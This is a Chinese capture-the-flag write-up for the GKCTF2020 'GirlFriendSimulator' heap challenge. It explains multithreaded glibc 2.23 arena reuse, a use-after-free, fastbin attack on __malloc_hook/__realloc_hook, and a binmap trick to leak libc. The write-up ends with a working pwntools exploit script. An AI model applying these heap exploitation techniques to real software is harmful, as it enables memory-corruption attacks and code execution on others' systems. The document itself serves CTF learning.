0%

[GKCTF2020]GirlFriendSimulator

接触的第一道多线程题。做的过程中多次参考了 glibc 源码,有了一些自己的想法,便在此记录。

基本情况

ELF文件,libc 版本为 2.23,保护全开,无 seccomp。

程序分析

主函数

主函数的流程可以概括为:用户输入线程数后,主线程在循环中依次创建线程。锁 mutex 控制线程的创建,一次仅允许一个子线程执行“任务”,而锁 stru_2030E0 的作用是阻塞主线程,直到所有子线程的“任务”结束。

值得注意的是主线程没有回收任何子线程的资源。

最后给出了 _IO_2_1_stdout_ 的地址,有一次修改 chunk 、两次 malloc, read 0x60 的机会,最后调用 strdup,其内部会调用 malloc。(看上去要用 fastbin attack)

子线程例程

堆菜单题的模板。有几点注意:

  1. 只有一个指针 chunk_ptr
  2. add 只有两次,show 和 delete 只有 一次。
  3. delete 有 UAF 漏洞。
  4. add 时会 malloc 两次,大小为 size 和 0x10,分别存放用户输入和 size。delete 中两者均被 free。
  5. 退出时解锁并 sleep 一段较长时间。

思路

在做这题之前我对多线程下的内存模型及 glibc 的做法只有一点模糊的感觉(连多线程程序都没写过),好在这题使用的多线程 API 都是最基本的。并且执行流程基本上是线性的,比较简单。所以直接用 gdb 调试,配合 vmmap 和 heap 指令尝试“管中窥豹”。

前提

ptmalloc2 libc-2.23 中使用 arena 记录 chunk 和 bin 的详细信息,heap_info 记录子线程的堆信息。(这部分内容请参考 CTFwiki 和源码)

为子线程分配堆的算法我不了解(CTFwiki 上也没有介绍),导致后面做不出来。看了gls的文章 才明白这题的考点。

本题的核心就是堆分配的算法。然而我暂时没时间去看源码、调试,所以下面的总结都是做此题得到的经验性质的结论。

调试的发现:奇怪的sleep

刚开始分析程序时,我对子线程 return 前的 sleep 感到疑惑,然后我开始调试:

1
2
3
4
5
6
7
8
9
10
11
>>
5
[New Thread 0x7ffff6fee700 (LWP 20493)]
girlfriend 2
1.promise
2.break_your_promise
3.shownpromise
4.changepromise
5.exit
>>
[Thread 0x7ffff77ef700 (LWP 20492) exited]

初步调试后我发现:若在前一子线程 exit 前就为当前子线程分配 chunk,会出现新的大小为 0x21000 的区域,反之则不会出现。

然后我查看了前一子线程的 arena,在 sleep 时 arena.attached_threads 为 1,例程结束(return)后 arena.attached_threads 为 0。如果这之后当前子线程申请 chunk,arena.attached_threads 又会变为 1:

1
2
3
4
5
6
binmap = {0, 0, 0, 0}, 
next = 0x7ffff7bb4b20 <main_arena>,
next_free = 0x0,
attached_threads = 1, // 这个成员在例程 return 后了变化
system_mem = 135168,
max_system_mem = 135168

可以总结出两个结论:

  1. 子线程 return 后就算没有被回收,操作系统依然会做一些处理。
  2. 一个堆可以被不同线程反复利用。

这样看来,本题中的有两种分配 chunk 的策略:

  1. 在前一子线程 sleep 时,之后的子线程立刻申请 chunk。chunk 可能会分配到新 mmap 的区域(新的 arena),或者旧的,甚至是 main_arena(后两点我在看了题解后才直到)
  2. 等待前一子线程 return 后再申请,会分配到旧 arena 上。(至少在此题 debug 过程中没遇到其它情况)。

从 pwn 的角度来看,两种策略均有用处:前一种可以分配到其它线程的堆上去搞破坏,后一种可以增加 add、delete 等函数的使用次数。此题的题解完全依赖前一种策略。但后一种在此题中也有妙用,后面再说。

漏洞利用

gls的文章里写得很清楚,简化一下就是:

  1. 不断申请堆直到申请到 main_arena(通过泄漏地址判断),delete 一个 0x71 的 chunk 进入 fastbin。(子线程中进行)
  2. 利用 UAF,使用 fastbin attack 修改 __realloc_hook__malloc_hook。(主线程中进行)

下面是堆分配的情况:

可以看到,两个线程可以共用 arena。

不提供libc地址?

如果程序不提供 libc 地址,该怎么泄漏呢?借助上面提到的第二种分配策略,我们可以泄漏在 non_main_arena 中的 libc 地址。(我一开始硬要提前泄漏 libc 地址,搞了半天,成功了,却发现没什么用。。。)

arena.next

arena 以循环链表的方式链接起来,其 next 域指向下一个 arena。而 main_arena 位于 libc 中,所以子线程 arena 的 next 域就有 libc 地址。

fastbin attack

接下来要解决的问题是,如何将一个 chunk 分配到此处?

如果用 fastbin attack,要解决 size 域和如何修改 fd 的问题:

  1. size 域:arena 的 next 域的上方有 binmap、bins,其中 bins 数组中指针紧挨着排列,没有可以凑的 0x7f。

  2. 修改 fd:可以 double free,但 size 域只能为 0x20,且要有 non_main_arena flag,因为在 __libc_malloc 中有检查:

(我一开始还以为这里的 assert 只有 debug 时才发挥作用。。。)

这时在上方的 binmap 就有用了。

binmap

构思

在这题前,我对 binmap 的模糊印象是:如果各种 bin 里都找不到大小合适的 chunk,它会帮忙找更大的 chunk。至于结构、原理什么的完全不知道。

做题时我去翻 CTFwiki,上面给的简介是:“ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk 。”

再看看它和 next 域的位置关系(蓝框为 binmap 区域,绿框为 next 域):

与 size 域联想一下:如果我们能通过一系列的 add 和 delete 操作将 binmap 凑为 0x24,那就能将一个 fastbin chunk 申请到此处,泄漏 libc 地址。甚至还能修改 arena 的 next 域 (能达成什么效果就不知道了,因为我目前对涉及 arena 分配的算法一窍不通)。

方法

binmap 的 bit 代表对应的 bin 中是否有 chunk。比如 0x24 的二进制为 100100,代表大小为 0x20 和 0x50 的 bin 有chunk。接下来看看它如何设置这些 bit。

glibc 中的 binmap 和一些方法:

由上图知 markbin(m, i) 宏用来设置 binmap 中的 bit,查找后发现它只在一处被使用——遍历 unsortedbin 的循环的末尾:

这意味着只要有一个 chunk 从 unsortedbin 取下,放到其它 bin 里,binmap 的对应 bit 就会被设置

但我没有看到 unmarkbin(m, i) 的踪影,就去搜av->binmap

整个 malloc.c 文件中 av->binmap 只出现了三次,且都在 _int_malloc 中取更大块的部分,其中清除位的操作:

不是在 chunk 取出时检测并清除,而是在找更大 chunk 时没找到才清除。

泄漏libc exp

总结出 bit 的设置和清除规律后,接下来搞好堆风水就好了。大脑的苦力活,搞了挺长时间。(感觉总是不能一步到位,经常搞着搞着就发现错误了)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

io = process("./girlfriend_simulator")
#io = remote("node3.buuoj.cn", 28696)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size, content):
io.sendafter(">>", '1')
io.sendafter("size?", str(size))
io.sendafter("content:", content)

def delete():
io.sendafter(">>", '2')

def show():
io.sendafter(">>", '3')

def exit_thread():
io.sendafter(">>", '5')

# 利用arena的next域和binmap泄漏libc地址
thread_num = 7
io.sendafter("How much girlfriend you want ?", str(thread_num))

add(0x90, "aaaaa")
delete()
exit_thread()

sleep(22)
add(0x18, 'z' * 8)
show()
io.recvuntil('z' * 8)
heap_1_addr = u64(io.recv(8)) - 0x108 - 0x7b8
print("heap_1_addr = " + hex(heap_1_addr))
delete()
add(0x28, 'b' * 8)
exit_thread()

sleep(22)
add(0x28, 'b' * 8)
delete()
add(0x58, "ccccc")
exit_thread()

sleep(22)
delete()
add(0x18, "ddddddd")
exit_thread()

sleep(22)
delete()
exit_thread()

sleep(22)
delete()
size_0x20_addr = heap_1_addr + 0x870
print("size_0x20_addr = " + hex(size_0x20_addr))
add(0x18, p64(size_0x20_addr))
add(0x90, "eeeeeeeee")
exit_thread()

sleep(22)
add(0x18, 'j' * 8)
show()
io.recvuntil('\x00' * 8)
libc.address = u64(io.recv(8)) - 0x10 - libc.symbols["__malloc_hook"]
print("libc.address = " + hex(libc.address))
realloc_hook_addr = libc.symbols["__realloc_hook"]
#size_7f_addr = realloc_hook_addr - 0x20 + 5 - 8
add(0x90, b'k' * 8 + p64(realloc_hook_addr))
exit_thread()

io.interactive()

一些问题

问题还挺多的,今天没时间写了,改天再说。